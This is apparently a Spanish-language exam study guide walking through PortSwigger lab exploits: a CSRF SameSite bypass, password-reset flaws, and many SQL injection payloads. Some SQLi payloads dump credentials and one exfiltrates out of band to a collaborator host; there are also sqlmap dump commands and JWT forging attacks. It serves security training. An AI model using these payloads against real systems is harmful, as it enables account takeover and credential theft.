>Observe si visita `/social-login`, esto inicia automáticamente el flujo OAuth completo. Si todavía tiene una sesión iniciada con el servidor OAuth, todo esto ocurre sin ninguna interacción. Además, en el historial del proxy, observe que cada vez que completa el flujo OAuth, el sitio objetivo establece una nueva cookie de sesión incluso si ya había iniciado sesión.
>Salta el bloqueador de ventanas emergentes, para inducir a la víctima a hacer clic en la página y que la ventana emergente solo se abra una vez que la víctima haya hecho clic, mediante el siguiente JavaScript. El código JavaScript del exploit primero renueva la sesión de la víctima al forzar a su navegador a visitar `/social-login`, y luego envía la solicitud de cambio de correo electrónico tras una breve pausa. Entrega el exploit a la víctima.```
<form method="POST" action="https://TARGET.net/my-account/change-email">
<input type="hidden" name="email" value="[email protected]">
</form>
<p>Click anywhere on the page</p>
<script>
window.onclick = () => {
window.open('https://TARGET.net/social-login');
setTimeout(changeEmail, 5000);
}
function changeEmail() {
document.forms[0].submit();
}
</script>
Laboratorio PortSwigger: Bypass de SameSite Lax mediante actualización de cookies
Lógica de restablecimiento de contraseña rota
Contraseña actual
Tokens de contraseña sensibles al tiempo
Si la función de Restablecer Contraseña de la aplicación es defectuosa, esta vulnerabilidad puede explotarse para identificar cuentas válidas u obtener el token de restablecimiento de contraseña. Esto puede llevar a identificar cuentas de usuarios válidas o a una escalada de privilegios.
Este es el tipo de vulnerabilidad que no requiere que un usuario activo en la aplicación interactúe con el exploit, y sin que ningún usuario haga clic en un enlace o interactúe. Toma nota de las vulnerabilidades que no requieren un usuario activo en la aplicación para el examen BSCP, ya que esto significa que en la siguiente etapa del examen es posible usar, por ejemplo, otros enlaces de phishing interactivos enviados a la víctima.
Identifica en el
código fuentede la página/forgot-passwordque el nombre de usuario es un campo oculto.

Explota la solicitud POST eliminando el parámetro
temp-forgot-password-tokentanto en la URL como en el cuerpo de la solicitud. Cambia el parámetro username acarlos.

Laboratorio PortSwigger: Lógica de restablecimiento de contraseña rota
Identifica que el cambio de contraseña no necesita el parámetro
current-passwordpara establecer una nueva contraseña, y el usuario cuya contraseña se cambiará se basa en el parámetro POSTusername=administrator.
En los laboratorios de PortSwigger te proporcionan las credenciales parawiener:peter, y esto simula en la etapa 1 del examen el acceso de usuario de bajo nivel conseguido. En el examen, esta vulnerabilidad de restablecimiento de contraseña es un ejemplo de cómo es posible, sin interacción de un usuario activo, escalar privilegios hasta el acceso de administrador.
Intercepta la solicitud
/my-account/change-passwordya que el tokencsrfes un valor de un solo uso aleatorio, estableceusername=administratory elimina el parámetrocurrent-password.

Laboratorio PortSwigger: Aislamiento débil en endpoint de doble uso
El sitio objetivo usa marcas de tiempo para generar una URL de token de restablecimiento de contraseña con hash.
Al enviar solicitudes paralelas de restablecimiento de contraseña forzado para dos usuarios diferentes al mismo tiempo,
se obtendrán tokens duplicados coincidentes porque el backend usa la misma marca de tiempo para generar los tokens de restablecimiento.
Nuestro propio usuario
carlosrecibe la URL del token de restablecimiento en su correo electrónico y luego edita el nombre en la URL para que coincida con el usuario víctima objetivoadministrator.

Laboratorio PortSwigger: Explotando vulnerabilidades sensibles al tiempo
Referencia: Notas de estudio de API University y PortSwigger Labs
Retardo de tiempo ciego
SQLi a ciegas
SQLi a ciegas sin indicación
SQLi a ciegas con respuesta condicional
Oracle
SQLMAP
SQLi manual no Oracle
SQLi visual basado en errores
Fundamentos de SQLi de HackTheBox CPTS
Las vulnerabilidades de inyección SQL basadas en errores o ciegas permiten que las consultas SQL en una aplicación se utilicen para extraer datos o credenciales de inicio de sesión de la base de datos. SQLMAP se utiliza para acelerar el exploit y recuperar la información sensible.
Identifica SQLi añadiendo una comilla doble (") o comilla simple (') a los parámetros web o cookies de seguimiento; si esto rompe la sintaxis SQL y produce una respuesta con mensaje de error, entonces se identifica una inyección SQL positiva. Si no se observa ningún error o mensaje condicional, prueba payloads de retardos de tiempo a ciegas.
Ejemplos de la hoja de referencia de inyección SQL

La inyección SQL ciega con retardos de tiempo es difícil de identificar; el fuzzing implica conjeturas fundamentadas, como también me enseñó OffSec en el OSCP. El payload de abajo realizará una condición para retrasar la respuesta 10 segundos si se identifica una inyección SQL positiva.
Identifica la vulnerabilidad de SQLi. En Examen de práctica de Burp, Etapa 2 los filtros de búsqueda avanzada son vulnerables a
PostgreSQL.SQLMAPme resultó complicado para identificar y explotar la vulnerabilidad del examen de práctica en la búsqueda avanzada. Explotación manual del retardo de tiempo de la inyección SQL en Examen de práctica aquí.```SQL ;SELECT CASE WHEN (1=1) THEN pg_sleep(7) ELSE pg_sleep(0) END--
>[Codificado en URL](https://www.urlencoder.org/) `PostgreSQL` payload.```SQL
'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(7)+ELSE+pg_sleep(0)+END--
Determina cuántos caracteres tiene la contraseña del usuario administrador. Para ello, incrementa el número después de la comprobación condicional
>1.```SQL ;SELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

>Usando el ataque CLUSTER Bomb para volver a ejecutar el ataque en cada permutación de las posiciones de los caracteres en la contraseña, y determinar el valor del carácter.```SQL
;SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
Usando el tipo de ataque CLUSTER bomb con dos payloads, el primero para la longitud de la contraseña
1..20y luego el segundo usando caracteresa..zy números0..9. Añade la columna Response Received a los resultados del ataque intruder para ordenar por ella y observa los10segundos o más de retraso como respuesta positiva.

Laboratorio PortSwigger: Inyección SQL ciega con retrasos de tiempo y recuperación de información
En la etapa 2 del examen de práctica de Burp, la inyección SQL se escapa no usando una comilla simple
'sino usando un punto y coma;y luego codificándolo en URL como%3B.```SQL %3BSELECT+pg_sleep(7)--

>Con un ataque de bomba CLUSTER de Intruder, la contraseña puede extraerse en un solo ataque con dos posiciones de payload en el siguiente payload.```SQL
;SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep(7)+ELSE+pg_sleep(0)+END+FROM+users--
La etapa 3 del portal de administración del examen Burp Practice requiere la explotación de un valor de cookie deserialización insegura.
Target es vulnerable a la exfiltración de datos fuera de banda mediante una consulta de explotación SQL ciega. En este caso, la cookie trackingID. A continuación se muestra una combinación de inyección SQL y payload XXE para explotar la vulnerabilidad y enviar la contraseña del administrador como solicitud DNS al servicio collaborator.```sql TrackingId=xxx'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f>+%25remote%3b]>'),'/l')+FROM+dual--

[Laboratorio de PortSwigger: Inyección SQL ciega con exfiltración de datos fuera de banda](https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band-data-exfiltration)
>La carga útil SQL anterior también se puede usar para extraer la contraseña del Administrador para este [reto de Laboratorio de PortSwigger: Inyección SQL ciega con errores condicionales](https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors).
### Inyección SQL ciega sin indicación
>Colocar una comilla simple al final de la cookie ```trackingid``` o del parámetro de búsqueda `/search_advanced?searchTerm='` puede dar una respuesta `500 Internal Server Error`. Haz una suposición fundamentada: usando la carga útil de inyección SQL ciega de abajo y combinándola con la técnica básica de XXE, esto hace una llamada al servidor de colaboración pero no se exfiltra ningún dato.```sql
TrackingId=xxx'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//OASTIFY.COM/">+%25remote%3b]>'),'/l')+FROM+dual--

Payload SQLi adicional con XML para referencia con
||el operador de concatenación SQL para concatenar dos expresiones que evalúan dos tipos de datos de caracteres o a tipo de datos numérico y hacer algo de ofuscación.``` '||(select extractvalue(xmltype('%fuzz;]>'),'/l') from dual)||'
[OAST - Pruebas de seguridad de aplicaciones fuera de banda](https://portswigger.net/burp/application-security-testing/oast)
[Laboratorio PortSwigger: Inyección SQL ciega con interacción fuera de banda](https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band)
### Respuesta condicional de Blind SQLi
>Esta inyección SQL ciega se ***identifica*** por una pequeña diferencia de mensaje en las respuestas. Al enviar una consulta SQL válida y verdadera, la respuesta contiene la cadena ```Welcome back```. Las consultas SQL inválidas o falsas no contienen el mensaje condicional de la respuesta.```
' AND '1'='1
Declaración SQL falsa para identificar un mensaje condicional no presente en la respuesta.``` ' AND '1'='2
>Determina cuántos caracteres tiene la contraseña del usuario administrador. Para ello, cambia el valor de la declaración SQL a AND en la **pestaña Settings** de intruder, en la sección "Grep - Match". Borra cualquier entrada existente en la lista y, a continuación, añade el valor ```Welcome back``` a ***identificar*** la condición true.```
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a
El siguiente paso es probar el carácter en cada posición para determinar su valor. Esto implica un número mucho mayor de solicitudes.``` ' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a

>Alternativamente, use un ataque **CLUSTER Bomb** y establezca **dos** posiciones de payload, la primera para la posición del carácter con un payload de números ```1..20``` y la segunda posición, usando caracteres alfabéticos y numéricos, esto iterará a través de cada permutación de combinaciones de payload.

[Laboratorio PortSwigger: Inyección SQL ciega con respuestas condicionales](https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses)
### Oracle
>Identificó la inyección SQL añadiendo una **comilla simple** al final del valor del parámetro `category` y observando la respuesta de `500 Internal Server Error`.
>Recupere la lista de tablas de la base de datos Oracle:```
'+UNION+SELECT+table_name,NULL+FROM+all_tables--
Payload de Oracle para recuperar los detalles de las columnas de la tabla.``` '+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_XXX'--
>Payload de Oracle para recuperar los nombres de usuario y contraseñas de la tabla Users_XXX.```
'+UNION+SELECT+USERNAME_XXX,+PASSWORD_XXX+FROM+USERS_XXX--
En la aplicación del examen de práctica de PortSwigger identificamos SQLi en la función de búsqueda avanzada añadiendo una comilla simple y el resultado de la respuesta en
HTTP/2 500 Internal Server Error.
Aquí están mis notas de estudio de HackTheBox CPTS sobre ejemplos de SQLMAP para evadir mecanismos WAF de protección primitiva. SQLMAP Essentials - Cases
Después de hacer algunas pruebas con las versiones
1.7.2#stabley1.6de SQLMAP, encontré que ambas son capaces de explotar el examen de práctica de PortSwigger. Tutorial de bmdyy haciendo el examen de práctica usando SQLMAP como referencia de los parámetros utilizados.
Hilo del foro de PortSwigger - SQLMAP
Realicé el examen de práctica y pude explotar SQLi usando el siguiente payload.``` sqlmap -u 'https://TARGET.net/filtered_search?SearchTerm=x&sort-by=DATE&writer=' \ -H 'authority: 0afd007004402dacc1e7220100750051.web-security-academy.net'
-H 'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7'
-H 'accept-language: en-US,en;q=0.9'
-H 'cookie: _lab=YesYesYesYes; session=YesYesYesYes'
-H 'referer: https://TARGET.net/filtered_search?SearchTerm=x&sort-by=DATE&writer='
-H 'sec-fetch-dest: document'
-H 'sec-fetch-mode: navigate'
-H 'sec-fetch-site: same-origin'
-H 'sec-fetch-user: ?1'
-H 'upgrade-insecure-requests: 1'
-H 'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36'
-p 'sort-by' -batch --flush-session --dbms postgresql --technique E --level 5

>Este también es un buen comienzo con SQLMAP para ***identificar*** y extraer datos de una inyección SQL sensible basada en errores con retardo de tiempo en los filtros de búsqueda avanzada del examen.```
sqlmap -v -u 'https://TARGET.NET/search?term=x&organizeby=DATE&journalist=&cachebust=1656138093.57' -p "term" --batch --cookie="_lab=YESYESYESYES; session=YESYESYESYES" --random-agent --level=2 --risk=2

SQLMAP DBS para obtener bases de datos.``` -p 'sort-by' -batch --dbms postgresql --technique E --level 5 --dbs
>Use SQLMAP para volcar las tablas identificadas de la base de datos `public`.```
-p 'sort-by' -batch --dbms postgresql --technique E --level 5 -D public --tables
ContinúaUsa la técnica
Ede SQLMAP para obtener el contenido deusers.``` -p 'sort-by' -batch --dbms postgresql --technique E --level 5 -D public -T users --dump
### SQLi manual no Oracle
>Ataque UNION de inyección SQL, determinando el **número de columnas** devueltas por la consulta.```SQL
'+UNION+SELECT+NULL,NULL--
Se determinó que se devuelven dos columnas. Encontrando una columna que contiene
text, para usarse para reflejar la información extraída.```SQL '+UNION+SELECT+'fuzzer',NULL--
>A continuación ***identificando*** una lista de **tablas** en la base de datos.```SQL
'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--
OPCIONAL: Recupera datos de otras tablas, usa el código debajo del payload para recuperar el contenido de la tabla
users.```SQL '+UNION+SELECT+username,+password+FROM+users--
>Recupera los nombres de las **columnas** en la tabla ***users***.```SQL
'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_XXXX'--
El paso final es volcar los datos de las columnas de nombres de usuario y contraseñas.```SQL '+UNION+SELECT+username_XXXX,+password_XXXX+FROM+users_XXXX--
>**EXTRA:** Si solo tienes una columna para extraer datos de texto, entonces concatena múltiples valores en un único campo de salida reflejado usando los caracteres de sintaxis SQL ```||``` de la base de datos.```
'+UNION+SELECT+NULL,username||'~'||password+FROM+users--

Al agregar una comilla simple al final del valor de la cookie
TrackingId, podemos identificar y confirmar la inyección SQL basándonos en el mensaje de la respuesta.

Los dos payloads validan que el registro de administrador es el primer registro y, a continuación, recuperan la contraseña de la cuenta de Administrador de la tabla
userde la base de datos, desde las columnasusernameypassword.``` TrackingId=x'||CAST((SELECT username FROM users LIMIT 1) AS int)--;
TrackingId=x'||CAST((SELECT password FROM users LIMIT 1) AS int)--;
>Debido al límite de longitud del valor de la cookie, el payload se acorta usando `limit 1`, y el valor real de la cookie se reemplaza con solo una letra `x`. La inyección SQL usó la [función CAST](https://portswigger.net/web-security/sql-injection/blind).

[PortSwigger Lab: Inyección SQL basada en errores visibles](https://portswigger.net/web-security/sql-injection/blind/lab-sql-injection-visible-error-based)
-----
## JWT
[Bypass de JWT mediante JWK](#manual-sqli)
[Secreto débil de JWT](#jwt-weak-secret)
[Cabecera kid de JWT](#jwt-kid-header)
[Cabecera jku arbitraria de JWT](#jwt-arbitrary-jku-header)
>Los JSON web tokens (JWTs) se utilizan para enviar datos JSON firmados criptográficamente, y se usan con mayor frecuencia para enviar información ("claims") sobre usuarios como parte de la autenticación, el manejo de sesiones y el control de acceso.
### Bypass de JWT mediante JWK
>El escáner de burp ***identifica*** una vulnerabilidad en el servidor como: **JWT self-signed JWK header supported**. Es posible explotarla mediante un fallo en la comprobación del origen de la clave proporcionada.
>**jwk (JSON Web Key)** - Proporciona un objeto JSON incrustado que representa la clave.
>Pasos para explotar el bypass de autenticación mediante la inyección de la cabecera jwk:
1. Nueva clave RSA
2. En el payload JWT de la solicitud, cambia el valor de la **sub claim** a administrator
3. Selecciona Attack y luego selecciona **Embedded JWK** con la clave RSA recién generada
4. Observa que un parámetro ```jwk``` ahora contiene nuestra clave pública, y al enviar la solicitud se obtiene acceso al portal de administración

[PortSwigger Lab: Bypass de autenticación JWT mediante inyección de cabecera jwk](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection)
### Secreto débil de JWT
>Aplicar fuerza bruta a la clave de firma JWT débil usando `hashcat`.```bash
hashcat -a 0 -m 16500 <YOUR-JWT> /path/to/jwt.secrets.list
El resultado de Hashcat proporciona el secreto, que se utilizará para generar una clave de firma forjada.
PortSwigger: evasión de autenticación JWT mediante clave de firma débil
Mecanismo basado en JWT para manejar sesiones. Para verificar la firma, el servidor utiliza el parámetro
kidde la cabecera JWT para obtener la clave correspondiente de su sistema de archivos.
Genera una nueva clave simétrica y reemplaza la propiedadkcon el byte nulo en base64AA==, para usarla al firmar el JWT.
kid (ID de clave) - Proporciona un ID que los servidores pueden usar para identificar la clave correcta en casos donde hay múltiples claves para elegir.
JWS``` { "kid": "../../../../../../../dev/null", "alg": "HS256" }
>Payload```
{
"iss": "portswigger",
"sub": "administrator",
"exp": 1673523674
}

Laboratorio de PortSwigger: bypass de autenticación JWT mediante path traversal en el encabezado kid
El escáner de Burp identificó una vulnerabilidad que indica que la aplicación parece confiar en el encabezado
jkudel JWT encontrado en el punto de inserción manual. Obtuvo una clave pública de una URL arbitraria proporcionada en este encabezado e intentó usarla para verificar la firma.
jku (URL de JSON Web Key Set) - Proporciona una URL desde la que los servidores pueden obtener claves que contengan la clave correcta.
Pasos del exploit para cargar un JWK Set malicioso, luego modificar y firmar el JWT:
{ "keys": [ ] }.[ paste ].kid de la clave RSA generada en el valor kid del encabezado JWT de la solicitud /admin.jku con el valor de la URL del servidor de exploit https://exploit-server.net/exploit.sub a administrator./admin en repeat, en la parte inferior de la pestaña JSON Web Token, haz clic en Sign.RSA signing key que se generó en los pasos anteriores.
El servidor de exploit que aloja el contenido de la clave pública JWK.```JSON { "keys": [ { "kty": "RSA", "e": "AQAB", "kid": "3c0171bd-a8cf-45b5-839f-645fa2a57009", "n": "749eJdyiwAYYVV F8tsQ_zu23DhdoePay3JlYXmza9DWDw" } ]}
